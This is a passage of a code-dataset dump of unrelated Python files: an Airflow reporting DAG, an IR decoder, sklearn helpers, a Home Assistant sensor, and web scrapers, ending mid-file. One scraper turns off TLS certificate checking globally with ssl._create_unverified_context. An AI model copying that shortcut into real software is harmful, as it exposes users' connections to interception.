task_id='Slack_failure_alert',\n        http_conn_id='slack',\n        webhook_token=slack_webhook_token,\n        message=slack_msg,\n        username='AirflowAlert'\n    )\n    return failed_alert.execute(context=context)\n\n\ndefault_args = {\n    'owner': 'chmedia',\n    'depends_on_past': False,\n    'email': ['fabian.loosli@chmedia.ch'],\n    'email_on_failure': False,\n    'email_on_retry': False,\n}\ndag_weekly_reports = DAG(dag_id=DAG_ID,\n                         description='DAG to update weekly, data related to the website',\n                         schedule_interval='0 1 * * 1,3,5',\n                         start_date=datetime(year=2019, month=10, day=15, hour=14),\n                         end_date=None,\n                         default_args=default_args,\n                         concurrency=2,\n                         max_active_runs=3,\n                         dagrun_timeout=timedelta(hours=6),\n                         catchup=False\n                         )\n\n\n# ----------------------------------------------------------------------------------------------------------------------\n# Helper Functions\n# ----------------------------------------------------------------------------------------------------------------------\ndef update_heatmap_week():\n    \"\"\"\n    Update the heatmap for last week. Determine which are the new dates to be updated.\n    Safe versions of the updated version in locally and on dropbox.\n    \"\"\"\n    recent_day = 0\n    for names in os.listdir(LOCAL_PATH):\n        matches = re.findall('[0-9]{8}', names)\n        for match in matches:\n            recent_day = int(match) if recent_day < int(match) else recent_day\n    puller = xcom.XCom\n    oldest = puller.get_one(key='oldest_day', execution_date=datetime.now(timezone.utc),\n                            dag_id='dag_weekly_reports', include_prior_dates=True)\n\n    start, date = datetime.strptime(oldest, '%Y%m%d'), datetime.strptime(str(recent_day), '%Y%m%d')\n    dates = set()\n    while date >= start:\n        date -= timedelta(days=1)\n        dates.update({date.strftime('%Y%m%d')})\n    if not dates:\n        logging.info('No dates have to be updated, exiting')\n        exit()\n\n    logging.info('Updating following dates: %s' % dates)\n    for days in dates:\n        try:\n            twr.update_heatmap(str(days), threshold_duration=False)\n            twr.update_heatmap(str(days), threshold_duration=True)\n        except FileNotFoundError as e:\n            logging.info(str(e))\n            continue\n    twr.generate_epdates_pickle()\n    logging.info('Picklefile has been updated, can be uploaded from Dash')\n\n\ndef create_underserved_groups():\n    \"\"\"\n    Creates data for the UDI-Tool of Thomas.\n    Also gets the last date updated from last week.\n    \"\"\"\n    recent_day = 0\n    for names in os.listdir(LOCAL_PATH):\n        matches = re.findall('[0-9]{8}', names)\n        for match in matches:\n            recent_day = int(match) if recent_day < int(match) else recent_day\n    puller = xcom.XCom\n    oldest = puller.get_one(key='oldest_day', execution_date=datetime.now(timezone.utc),\n                            dag_id='dag_weekly_reports', include_prior_dates=True)\n\n    start, date = datetime.strptime(oldest, '%Y%m%d'), datetime.strptime(str(recent_day), '%Y%m%d')\n    dates = set()\n    while date >= start:\n        dates.update({date.strftime('%Y%m%d')})\n        date -= timedelta(days=1)\n    if not dates:\n        logging.info('No dates have to be updated, exiting')\n        exit()\n    logging.info('Continue and create new underserved demographics table')\n    twr.underserver_demgroups(dates)\n\n\ndef xcom_push_oldest():\n    \"\"\"\n    Push the current date of the newest version of the facts table.\n    Used to keep track of which days need to be updated every week\n    \"\"\"\n    pusher = xcom.XCom\n    recent_day = 0\n    for names in os.listdir(LOCAL_PATH):\n        matches = re.findall('[0-9]{8}', names)\n        for match in matches:\n            recent_day = int(match) if recent_day < int(match) else recent_day\n    pusher.set(key='oldest_day', value=str(recent_day), execution_date=datetime.now(timezone.utc),\n               task_id='Oldest_Push', dag_id='dag_weekly_reports')\n    logging.info('Pushed the date of the facts table as xcom variable: value %s' % recent_day)\n\n\ndef create_heavy_viewer_report():\n    \"\"\"\n    Create the excel Matrix of the HeavyViewersStealPotential and generate the\n    Plotly Table based on the excel file. For the general case and the last week case.\n    \"\"\"\n    twr.analyse_heavy_viewers(hv_week='gen')\n    logging.info('Created the excel file of all the values')\n    twr.generate_plotly_table('gen')\n    logging.info('Created the plotly table and saved it locally as .txt file')\n    twr.analyse_heavy_viewers(hv_week='last')\n    twr.generate_plotly_table('last')\n    logging.info(f'Generated Plotly Table for last week HV')\n\n\ndef create_metrics_eps():\n    \"\"\"\n    Create the div for the plotly of the EPs metrics.\n    This task is a pipeline itself, consisting of 4 steps.\n    \"\"\"\n    twr.gather_stats(EPS)\n    twr.generate_statstables_eps()\n    logging.info(f'Graphs and statstable generated')\n    for show in EPS:\n        div = twr.generate_graphs_eps(show)\n        with open(f'{FLASK_PATH}Metrics/Zeitschiene/plotly_timeband_{show}.txt', 'w') as f:\n            f.write(div)\n    logging.info(f'Plotly tables generated')\n    twr.create_audienceflow_div()\n    logging.info(f'Audienceflow of eps generated')\n\n\n# ----------------------------------------------------------------------------------------------------------------------\n# Tasks\n# ----------------------------------------------------------------------------------------------------------------------\n# The flow is pretty straight forward. First generate all the reports based on the updated dates, then save them\n# in various places and finally clean up a bit\nTask_Generate_Plotly_Tool = PythonOperator(\n    task_id='HeavyViewersTool',\n    provide_context=False,\n    python_callable=create_heavy_viewer_report,\n    retries=3,\n    retry_delay=timedelta(minutes=1),\n    execution_timeout=timedelta(hours=1),\n    priority_weight=1,\n    dag=dag_weekly_reports\n)\nTask_Generate_Plotly_Metrics = PythonOperator(\n    task_id='Metrics_Eps',\n    provide_context=False,\n    python_callable=create_metrics_eps,\n    retries=3,\n    retry_delay=timedelta(minutes=1),\n    execution_timeout=timedelta(hours=2),\n    trigger_rule='all_done',\n    priority_weight=1,\n    dag=dag_weekly_reports\n)\nTask_Update_Heatmap = PythonOperator(\n    task_id='Update_Heatmap',\n    provide_context=False,\n    python_callable=update_heatmap_week,\n    retries=3,\n    retry_delay=timedelta(minutes=1),\n    execution_timeout=timedelta(hours=3),\n    priority_weight=1,\n    trigger_rule='all_success',\n    dag=dag_weekly_reports\n)\nTask_Preprocess_Competition = PythonOperator(\n    task_id='Preprocess_Competition',\n    provide_context=True,\n    op_kwargs={\n        'start_hour': 18,\n        'end_hour': 23,\n        'min_duration': 600\n        },\n    python_callable=twr.preprocess_competition_app,\n    retries=2,\n    retry_delay=timedelta(minutes=1),\n    execution_timeout=timedelta(hours=3),\n    priority_weight=1,\n    trigger_rule='all_success',\n    dag=dag_weekly_reports\n)\nTask_Preprocess_Viewersharing = PythonOperator(\n    task_id='Preprocess_Viewersharing',\n    provide_context=False,\n    python_callable=twr.preprocess_viewersharing,\n    retries=2,\n    retry_delay=timedelta(minutes=1),\n    execution_timeout=timedelta(hours=3),\n    priority_weight=1,\n    trigger_rule='all_success',\n    dag=dag_weekly_reports\n)\nTask_Generate_UGroups = PythonOperator(\n    task_id='Generate_Groups',\n    provide_context=False,\n    python_callable=create_underserved_groups,\n    retries=3,\n    retry_delay=timedelta(minutes=1),\n    execution_timeout=timedelta(hours=3),\n    priority_weight=1,\n    trigger_rule='all_success',\n    dag=dag_weekly_reports\n)\nTask_Preprocess_Movietitles = PythonOperator(\n    task_id='Preprocess_Titles',\n    provide_context=False,\n    python_callable=twr.preprocess_concurrency,\n    retries=3,\n    retry_delay=timedelta(minutes=1),\n    execution_timeout=timedelta(hours=3),\n    priority_weight=1,\n    trigger_rule='all_success',\n    dag=dag_weekly_reports\n)\nTask_Scrape_Stuff = BashOperator(\n    task_id='Scrape_Stuff',\n    bash_command='cd /home/floosli/FernsehseriesScrapper &&'\n                 'scrapy crawl show -o bls_dates.json -a show=bauer-ledig-sucht &&'\n                 'scrapy crawl show -o brt_dates.json -a show=bumann-der-restauranttester &&'\n                 'scrapy crawl show -o bachelor_dates.json -a show=der-bachelor-ch &&'\n                 'scrapy crawl show -o bachelorette_dates.json -a show=die-bachelorette-ch &&'\n                 'scrapy crawl show -o nws_dates.json -a show=ninja-warrior-switzerland &&'\n                 'scrapy crawl show -o hdl_dates.json -a show=die-hoehle-der-loewen-schweiz &&'\n                 'scrapy crawl show -o ah_dates.json -a show=adieu-heimat-schweizer-wandern-aus &&'\n                 'scrapy crawl show -o notruf_dates.json -a show=notruf-2013 &&'\n                 'scrapy crawl show -o gmnt_dates.json -a show=germanys-next-topmodel &&'\n                 'scrapy crawl show -o blor_de_dates.json -a show=der-bachelor &&'\n                 'scrapy crawl show -o bte_de_dates.json -a show=die-bachelorette &&'\n                 'scrapy crawl show -o voice_de_dates.json -a show=the-voice-of-germany &&'\n                 'scrapy crawl show -o hdl_de_dates.json -a show=die-hoehle-der-loewen &&'\n                 'scrapy crawl show -o sms_de_dates.json -a show=sing-meinen-song-das-tauschkonzert &&'\n                 'scrapy crawl show -o dg_dates.json -a show=die-geissens-eine-schrecklich-glamouroese-familie &&'\n                 'scrapy crawl show -o gd_dates.json -a show=goodbye-deutschland &&'\n                 'scrapy crawl show -o dsds_dates.json -a show=deutschland-sucht-den-superstar &&'\n                 'scrapy crawl show -o st_dates.json -a show=das-supertalent &&'\n                 'scrapy crawl show -o jc_dates.json -a show=ich-bin-ein-star-holt-mich-hier-raus &&'\n                 'scrapy crawl show -o ld_dates.json -a show=lets-dance &&'\n                 'scrapy crawl show -o ms_de_dates.json -a show=the-masked-singer-2019 &&'\n                 'scrapy crawl show -o aud_dates.json -a show=auf-und-davon-2009 &&'\n                 'scrapy crawl show -o bdl_dates.json -a show=srf-bi-de-luet &&'\n                 'scrapy crawl show -o sms_ch_dates.json -a show=sing-meinen-song-das-schweizer-tauschkonzert &&'\n                 'scrapy crawl show -o voice_ch_dates.json -a show=the-voice-of-switzerland',\n    retries=1,\n    execution_timeout=timedelta(minutes=30),\n    dag=dag_weekly_reports\n)\nTask_Json_To_CSV = PythonOperator(\n    task_id='Transform_Json_to_CSV',\n    provide_context=False,\n    python_callable=twr.move_json,\n    retries=2,\n    retry_delay=timedelta(minutes=3),\n    execution_timeout=timedelta(hours=1),\n    trigger_rule='all_success',\n    on_failure_callback=fail_slack_alert,\n    dag=dag_weekly_reports\n)\nTask_Delete_Xcom_Oldest = SqliteOperator(\n    task_id='Delete_xcom_oldest_push',\n    sql=\"delete from xcom where task_id='Oldest_Push'\",\n    sqlite_conn_id=SQL_ALCHEMY_CONN,\n    trigger_rule='all_done',\n    on_failure_callback=fail_slack_alert,\n    dag=dag_weekly_reports\n)\nTask_Push_Oldest_Xcom = PythonOperator(\n    task_id='Oldest_Push',\n    provide_context=False,\n    python_callable=xcom_push_oldest,\n    retries=2,\n    retry_delay=timedelta(minutes=3),\n    execution_timeout=timedelta(hours=1),\n    trigger_rule='all_success',\n    on_failure_callback=fail_slack_alert,\n    dag=dag_weekly_reports\n)\nTask_Restart_Website = SSHOperator(\n    task_id='Restart_Website',\n    ssh_conn_id='ssh_datascience',\n    command='pkill -HUP gunicorn',\n    get_pty=True,\n    dag=dag_weekly_reports\n)\n# ----------------------------------------------------------------------------------------------------------------------\n# Schedule of Tasks\n# ----------------------------------------------------------------------------------------------------------------------\nTask_Generate_Plotly_Tool >> Task_Generate_Plotly_Metrics\n[Task_Update_Heatmap, Task_Preprocess_Competition, Task_Generate_UGroups, Task_Preprocess_Movietitles] >> Task_Delete_Xcom_Oldest >> Task_Push_Oldest_Xcom\nTask_Scrape_Stuff >> Task_Json_To_CSV\nTask_Push_Oldest_Xcom >> Task_Restart_Website\n\n# ----------------------------------------------------------------------------------------------------------------------\n","sub_path":"Pipeline_WebsiteUpdates.py","file_name":"Pipeline_WebsiteUpdates.py","file_ext":"py","file_size_in_byte":14572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"555195409","text":"# coding: utf-8\n\nimport json\nfrom collections import Counter\n\n\ndef reverse_bit8(x):\n    x = ((x & 0x55) << 1) | ((x & 0xAA) >> 1)\n    x = ((x & 0x33) << 2) | ((x & 0xCC) >> 2)\n    return ((x & 0x0F) << 4 | x >> 4)\n\n\ndef reverse_bit4(x):\n    x = ((x & 0x5) << 1) | ((x & 0xA) >> 1)\n    x = ((x & 0x3) << 2) | ((x & 0xC) >> 2)\n    return x\n\n\ndef ir_codes_conversion(pulseList):\n    ir_PulseList = pulseList\n    value, count = zip(*Counter(ir_PulseList).most_common(1))\n    T = value[0]\n    T8 = ir_PulseList[0]\n    true_T = (T8 - T) / 7\n\n    T = true_T\n\n    reader = ir_PulseList\n\n    # initialize\n    data_counter = 0\n    leader_flag = 0\n\n    for row in reader:\n        # detect pulse length\n        length = int(round(int(row) / T))\n        # detect leader\n        if length == 8:\n            leader_flag = 1  # 8length pulse detect\n        if length == 4 and leader_flag == 1:\n            leader_flag = 2  # leader_detect\n            data_counter = 0\n            frame = []\n            datum = 0\n            pulse_flag = 0\n        # detect frame\n        if leader_flag == 2:\n            if length == 1 and pulse_flag == 0:\n                data_counter = data_counter + 1\n                pulse_flag = 1\n            elif pulse_flag:\n                # print (data_counter, length)\n                # pulse_flag off\n                pulse_flag = 0\n                # detect bit on/off/tracer\n                if length == 1:\n                    bit = 0\n                elif length == 3:\n                    bit = 1\n                else:\n                    pass\n\n                datum = datum << 1 | bit\n\n                # detect 4bit datum(parity, data0)\n                if data_counter == 20 or data_counter == 24:\n                    frame.append(reverse_bit4(datum))\n                    datum = 0\n                # detect 8bit datum(customer, data1~)\n                elif data_counter % 8 == 0:\n                    frame.append(reverse_bit8(datum))\n                    datum = 0\n\n    data_str = [bin(x) for x in frame]\n    return data_str\n","sub_path":"lib/Ir_reader/hex.py","file_name":"hex.py","file_ext":"py","file_size_in_byte":2036,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"114383191","text":"import turtle\n\nx=0\nl=1\nturtle.shape('turtle')\nturtle.speed(100)\nturtle.right(90)\nfor i in range(10):\n    \n    for x in range(360):\n        turtle.forward(l)\n        turtle.left(1)\n    for x in range(360):\n        turtle.forward(l)\n        turtle.right(1)\n    l += 0.2","sub_path":"Старые работы/Turtilla/ch11.py","file_name":"ch11.py","file_ext":"py","file_size_in_byte":267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"276135568","text":"\"\"\"\nIncludes extensions of external packages.\n\"\"\"\n\n# Author: Georgios Douzas <gdouzas@icloud.com>\n# License: BSD 3 clause\n\nfrom math import ceil\n\nfrom joblib import delayed, Parallel\nimport numpy as np\nfrom sklearn.base import is_classifier, ClassifierMixin\nfrom sklearn.model_selection import BaseCrossValidator\nfrom sklearn.multiclass import check_classification_targets\nfrom sklearn.multioutput import MultiOutputClassifier, _fit_estimator\nfrom sklearn.utils import check_X_y, check_array\nfrom sklearn.utils.fixes import parallel_helper\nfrom sklearn.utils.metaestimators import _BaseComposition\nfrom sklearn.utils.validation import has_fit_parameter, check_is_fitted\n\n\nclass TimeSeriesSplit(BaseCrossValidator):\n    \"\"\"Split time-series data.\"\"\"\n\n    def __init__(self, n_splits=5, min_train_size=0.5):\n        if n_splits < 2:\n            raise ValueError('K-fold cross-validation requires at least one train/test split. Got n_splits < 2.')\n        if min_train_size <= 0.0 or min_train_size >= 1.0:\n            raise ValueError(f'Minimum training size should be in the (0.0, 1.0) interval. Got {min_train_size}.')\n        self.n_splits = n_splits\n        self.min_train_size = min_train_size\n\n    def split(self, X, y=None, groups=None):\n        \"\"\"Generate indices to split data into training and test set.\"\"\"\n        start_index, end_index = int(self.min_train_size * len(X)), len(X)\n        step = ceil((end_index - start_index) / self.n_splits)\n        breakpoints = list(range(start_index, end_index, step)) + [end_index]\n        for start, end in zip(breakpoints[:-1], breakpoints[1:]):\n            yield np.arange(0, start), np.arange(start, end)\n\n    def get_n_splits(self, X=None, y=None, groups=None):\n        \"\"\"Returns the number of splitting iterations in the cross-validator\"\"\"\n        return self.n_splits\n\n\nclass MultiOutputClassifiers(_BaseComposition, ClassifierMixin):\n\n    def __init__(self, classifiers, n_jobs=None):\n        self.classifiers = classifiers\n        self.n_jobs = n_jobs\n\n    def fit(self, X, y, sample_weight=None):\n        \"\"\"Fit a separate classifier for each output variable.\"\"\"\n\n        for _, clf in self.classifiers:\n            if not hasattr(clf, 'fit'):\n                raise ValueError('Every base classifier should implement a fit method.')\n\n        X, y = check_X_y(X, y, multi_output=True, accept_sparse=True)\n\n        if is_classifier(self):\n            check_classification_targets(y)\n\n        if y.ndim == 1:\n            raise ValueError('Output y must have at least two dimensions for multi-output classification but has only one.')\n\n        if sample_weight is not None and any([not has_fit_parameter(clf, 'sample_weight') for _, clf in self.classifiers]):\n            raise ValueError('One of base classifiers does not support sample weights.')\n\n        self.classifiers_ = Parallel(n_jobs=self.n_jobs)(delayed(_fit_estimator)(clf, X, y[:, i], sample_weight) \n                                                        for i, (_, clf) in zip(range(y.shape[1]), self.classifiers))\n        \n        return self\n\n    def predict(self, X):\n        \"\"\"Predict multi-output target.\"\"\"\n        \n        check_is_fitted(self, 'classifiers_')\n\n        for _, clf in self.classifiers:\n            if not hasattr(clf, 'predict'):\n                raise ValueError('Every base classifier should implement a predict method')\n\n        X = check_array(X, accept_sparse=True)\n\n        y_pred = Parallel(n_jobs=self.n_jobs)(delayed(parallel_helper)(clf, 'predict', X) for clf in self.classifiers_)\n\n        return np.asarray(y_pred).T\n\n    def predict_proba(self, X):\n        \"\"\"Predict multi-output probabilities.\"\"\"\n        \n        check_is_fitted(self, 'classifiers_')\n\n        for _, clf in self.classifiers:\n            if not hasattr(clf, 'predict_proba'):\n                raise ValueError('Every base should implement predict_proba method')\n\n        X = check_array(X, accept_sparse=True)\n\n        y_pred = Parallel(n_jobs=self.n_jobs)(delayed(parallel_helper)(clf, 'predict_proba', X) for clf in self.classifiers_)\n\n        return y_pred\n    \n    def set_params(self, **params):\n        return self._set_params('classifiers', **params)\n\n    def get_params(self, deep=True):\n        return self._get_params('classifiers', deep=deep)","sub_path":"sportsbet/externals.py","file_name":"externals.py","file_ext":"py","file_size_in_byte":4280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"608973486","text":"import time,re,json,random,os,sys,io\nfrom selenium import webdriver\nfrom urllib import request,parse\nfrom urllib.parse import quote #解决url中带中文的问题\nfrom bs4 import BeautifulSoup\nimport ssl,string #解决url中带中文的问题\nimport requests\nfrom requests.exceptions import RequestException\n\nsys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='gb18030')\nssl._create_default_https_context = ssl._create_unverified_context\ntimeran = random.randint(3,6)\n#\n# web = webdriver.Chrome()\n# web.get('http://www.weather.com.cn/weather1d/101270101.shtml#input')\n\n# web.close()\n# inputcity = web.find_element_by_xpath('//*[@id=\"txtZip\"]')\n# print(web.find_element_by_xpath('//*[@id=\"today\"]/div[2]/div/div[4]/span').text)\n# print (web.current_window_handle) # 输出当前窗口句柄\n# cityname = input('---Input City Name : ')\n# inputcity.send_keys(cityname)\n# time.sleep(2)\n# web.find_element_by_xpath('//*[@id=\"btnZip\"]').click()\n# time.sleep(2)\n# handles = web.window_handles # 获取当前全部窗口句柄集合\n# print (handles) # 输出句柄集合\n# web.switch_to_window(handles[-1]) #切换窗口\n# time.sleep(2)\n# # web.get_screenshot_as_file(r'test.png')\n# print(web.current_url)\n# new_aim_url = re.match(r'^http://.*html#input', web.current_url).group()  # 获得当前窗口页面url\n# # 将最新的网站地址写入文本中保存\n# print('获得的最新网址：%s' % new_aim_url)\n\n\n#获取链接并返回soup\ndef get_soup(pageurl):\n    header = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0'}\n    res = request.Request(url=quote(pageurl, safe=string.printable), headers=header)\n    time.sleep(timeran)\n    rep = request.urlopen(res)\n    imre = rep.read().decode('utf-8')\n    soup = BeautifulSoup(imre, 'lxml')\n    return  soup\n\ndef get_one_page(url):\n    try:\n        response = requests.get(url)\n        if response.status_code == 200:\n            return response.text\n        return None\n    except RequestException:\n        return None\n\ndef main():\n    url = 'http://www.weather.com.cn/weather1d/101270101.shtml#input'\n    html = get_one_page(url)\n    print(html)\n\ndef get_page_index():\n    weatherurl = 'http://www.weather.com.cn/weather1d/101270101.shtml#input'\n    soup = get_soup(weatherurl)\n    temperature = soup.find_all(name='p',attrs={'class':'time'})\n\n    for k in temperature:\n        print(k)\n    # print(temperature)\n\n    # tem = soup.find_all('span')\n    # for k in tem:\n    #     print(k.get_text)\n    # print(tem)\n\nif __name__ == \"__main__\":\n    # get_page_index()\n    main()","sub_path":"sometests/weathertest.py","file_name":"weathertest.py","file_ext":"py","file_size_in_byte":2571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"48649087","text":"\"\"\"Support for KEBA charging station sensors.\"\"\"\nfrom homeassistant.components.sensor import SensorEntity\nfrom homeassistant.const import (\n    DEVICE_CLASS_POWER,\n    ELECTRICAL_CURRENT_AMPERE,\n    ENERGY_KILO_WATT_HOUR,\n)\n\nfrom . import DOMAIN\n\n\nasync def async_setup_platform(hass, config, async_add_entities, discovery_info=None):\n    \"\"\"Set up the KEBA charging station platform.\"\"\"\n    if discovery_info is None:\n        return\n\n    keba = hass.data[DOMAIN]\n\n    sensors = [\n        KebaSensor(\n            keba,\n            \"Curr user\",\n            \"Max Current\",\n            \"max_current\",\n            \"mdi:flash\",\n            ELECTRICAL_CURRENT_AMPERE,\n        ),\n        KebaSensor(\n            keba,\n            \"Setenergy\",\n            \"Energy Target\",\n            \"energy_target\",\n            \"mdi:gauge\",\n            ENERGY_KILO_WATT_HOUR,\n        ),\n        KebaSensor(\n            keba,\n            \"P\",\n            \"Charging Power\",\n            \"charging_power\",\n            \"mdi:flash\",\n            \"kW\",\n            DEVICE_CLASS_POWER,\n        ),\n        KebaSensor(\n            keba,\n            \"E pres\",\n            \"Session Energy\",\n            \"session_energy\",\n            \"mdi:gauge\",\n            ENERGY_KILO_WATT_HOUR,\n        ),\n        KebaSensor(\n            keba,\n            \"E total\",\n            \"Total Energy\",\n            \"total_energy\",\n            \"mdi:gauge\",\n            ENERGY_KILO_WATT_HOUR,\n        ),\n    ]\n    async_add_entities(sensors)\n\n\nclass KebaSensor(SensorEntity):\n    \"\"\"The entity class for KEBA charging stations sensors.\"\"\"\n\n    def __init__(self, keba, key, name, entity_type, icon, unit, device_class=None):\n        \"\"\"Initialize the KEBA Sensor.\"\"\"\n        self._keba = keba\n        self._key = key\n        self._name = name\n        self._entity_type = entity_type\n        self._icon = icon\n        self._unit = unit\n        self._device_class = device_class\n\n        self._state = None\n        self._attributes = {}\n\n    @property\n    def should_poll(self):\n        \"\"\"Deactivate polling. Data updated by KebaHandler.\"\"\"\n        return False\n\n    @property\n    def unique_id(self):\n        \"\"\"Return the unique ID of the binary sensor.\"\"\"\n        return f\"{self._keba.device_id}_{self._entity_type}\"\n\n    @property\n    def name(self):\n        \"\"\"Return the name of the device.\"\"\"\n        return f\"{self._keba.device_name} {self._name}\"\n\n    @property\n    def device_class(self):\n        \"\"\"Return the class of this sensor.\"\"\"\n        return self._device_class\n\n    @property\n    def icon(self):\n        \"\"\"Icon to use in the frontend, if any.\"\"\"\n        return self._icon\n\n    @property\n    def state(self):\n        \"\"\"Return the state of the sensor.\"\"\"\n        return self._state\n\n    @property\n    def unit_of_measurement(self):\n        \"\"\"Get the unit of measurement.\"\"\"\n        return self._unit\n\n    @property\n    def extra_state_attributes(self):\n        \"\"\"Return the state attributes of the binary sensor.\"\"\"\n        return self._attributes\n\n    async def async_update(self):\n        \"\"\"Get latest cached states from the device.\"\"\"\n        self._state = self._keba.get_value(self._key)\n\n        if self._key == \"P\":\n            self._attributes[\"power_factor\"] = self._keba.get_value(\"PF\")\n            self._attributes[\"voltage_u1\"] = str(self._keba.get_value(\"U1\"))\n            self._attributes[\"voltage_u2\"] = str(self._keba.get_value(\"U2\"))\n            self._attributes[\"voltage_u3\"] = str(self._keba.get_value(\"U3\"))\n            self._attributes[\"current_i1\"] = str(self._keba.get_value(\"I1\"))\n            self._attributes[\"current_i2\"] = str(self._keba.get_value(\"I2\"))\n            self._attributes[\"current_i3\"] = str(self._keba.get_value(\"I3\"))\n        elif self._key == \"Curr user\":\n            self._attributes[\"max_current_hardware\"] = self._keba.get_value(\"Curr HW\")\n\n    def update_callback(self):\n        \"\"\"Schedule a state update.\"\"\"\n        self.async_schedule_update_ha_state(True)\n\n    async def async_added_to_hass(self):\n        \"\"\"Add update callback after being added to hass.\"\"\"\n        self._keba.add_update_listener(self.update_callback)\n","sub_path":"homeassistant/components/keba/sensor.py","file_name":"sensor.py","file_ext":"py","file_size_in_byte":4131,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"190194130","text":"#!/usr/bin/env python\n\nclass Solution(object):\n    def countAndSay(self, n):\n        \"\"\"\n        :type n: int\n        :rtype: str\n        \"\"\"\n        result = '1'\n        for i in range(1,n):\n            prev, count, l = result[0], 1, []\n            for x in result[1:]:\n                if x == prev:\n                    count += 1\n                else:\n                    l += [str(count) + prev]\n                    prev, count = x, 1\n            l += [str(count) + prev]\n            result = ''.join(l)\n\n        return result\n\nfor i in range(1,10):\n    print(Solution().countAndSay(i))\n","sub_path":"38.Count_and_Say.py","file_name":"38.Count_and_Say.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"347897000","text":"\"\"\"\nfind all a, b, c, d in q such that\nf(a) + f(b) = f(c) - f(d)\n\"\"\"\n\nq = range(200)\n# q = (1, 3, 4, 7, 12)\n\n\ndef f(x):\n    return x * 4 + 6\n\n# Your code here\ncache = {}\n\nfor k in q:\n    if k not in cache:\n        cache[k] = f(k)\n\nfor k in q:\n    for l in q:\n        for i in q:\n            for j in q:\n                if cache[k] + cache[l] == cache[i] - cache[j]:\n                    print(k, l, i, j)\n","sub_path":"applications/sumdiff/sumdiff.py","file_name":"sumdiff.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"101500311","text":"import csv\nimport operator\n\ndef readMyFile(filename):\n    dict = {}\n    with open(filename) as csvDataFile:\n        csvReader = csv.reader(csvDataFile)\n\n        sortedList = sorted(csvReader,key=operator.itemgetter(13))\n\n        next(csvReader,None)    #for getting rid of header file\n\n        for row in sortedList:\n\n            # key is the Device Serial\n            # value is [ID                   (0),\n            #           Vin                  (1),\n            #           MessageType          (2),\n            #           ReportType           (3),\n            #           MsgNum               (4),\n            #           TripState            (5),\n            #           ReceivedTime         (6),\n            #           Latitude             (7),\n            #           Longitude,           (8),\n            #           CollectionTimeStamp  (9),\n            #           ManufacturerSerial   (10)]\n\n            key  = row[1]\n            if key in dict:            \n                dict[key][0].append(row[0])\n                dict[key][1].append(row[2])\n                dict[key][2].append(row[3])\n                dict[key][3].append(row[4])\n                dict[key][4].append(row[5])\n                dict[key][5].append(row[6])\n                dict[key][6].append(row[7])\n                dict[key][7].append(row[8])\n                dict[key][8].append(row[9])\n                dict[key][9].append(row[13])\n                dict[key][10].append(row[14])\n            else:\n                dict[key] = [[row[0]],[row[2]],[row[3]],[row[4]],[row[5]],\n                [row[6]],[row[7]],[row[8]],[row[9]],[row[13]],[row[14]]]\n    return dict\n","sub_path":"csv_reader.py","file_name":"csv_reader.py","file_ext":"py","file_size_in_byte":1644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"613036983","text":"# -*- coding: utf-8 -*-\n\n# from scrapy_redis.spiders import RedisSpider\n\nfrom scrapy import Request, Spider\nimport requests\nfrom copy import deepcopy\nimport re, time, logging\n\n\nclass GuangiGovPurSpider(Spider):\n    name = 'guangxi_test'\n\n    allowed_domains = ['ccgp-guangxi.gov.cn']\n\n    # redis_key = 'liuzhouCategory:start_urls'\n    def __init__(self):\n        self.headers = {\n            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',\n            'Accept-Encoding': 'gzip, deflate',\n            'Accept-Language': 'zh-CN,zh;q=0.9',\n            'Cache-Control': 'max-age=0',\n            'Host': 'www.ccgp-guangxi.gov.cn',\n            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36',\n        }\n        self.start_url = \"http://www.ccgp-guangxi.gov.cn/CmsNewsController/getCmsNewsList/channelCode-shengji_cggg/param_bulletin/20/page_1.html\"\n        # 需要补全的url\n        self.dom_url = \"http://www.ccgp-guangxi.gov.cn\"\n        # type_id分类\n        self.type_id = {\n            \"采购公告\": 38255,\n            \"单一来源公告\": 38255,\n            \"其他公告\": 38255,\n            \"招标文件预公示\": 38255,\n            \"成交公告\": 38257,\n            \"中标公告\": 38257,\n            \"更正公告\": 38256\n        }\n\n        self.html5 = '<a href = {}>下载附件</a>'\n\n    def request_get(self, url):\n        source = requests.get(url, headers=self.headers).content.decode()\n        return source\n\n    def start_requests(self):\n        # 获取大标题信息\n        try:\n            source_page = self.request_get(self.start_url)\n            parent_lis = re.findall(r'<li><a href=\"(.*?)\" target=\"_self\" title=\"(.*?)\">.*?</a></li>', source_page)\n            for parents_param in parent_lis:\n\n                parent_url = self.dom_url + parents_param[0]\n                # con = self.request_get(parent_url)\n\n                # 获取分类总页数，并构列表页url\n                # page_num = re.search(r'页次：1/(\\d+)页</span>', con).group(1)\n                model_url = re.sub(r'_1.html', '_{}.html', parent_url)\n                children_url_lis = [model_url.format(i) for i in range(1, 21)]\n\n                # 请求列表页\n                items = {}\n                for children_url in children_url_lis:\n                    items['type_id'] = self.type_id[parents_param[1]]\n                    yield Request(url=children_url, callback=self.get_detail_lis, headers=self.headers,\n                                  meta={'items': deepcopy(items)}, dont_filter=True)\n        except Exception as e:\n            print(\"大标题页错误\", e)\n            # logging.warning()\n            pass\n\n    # 获取列表页详情url\n    def get_detail_lis(self, response):\n        try:\n            items = response.meta['items']\n            lis = response.xpath('//div[@class=\"column infoLink noBox unitWidth_x6\"]//li')\n            for li in lis:\n                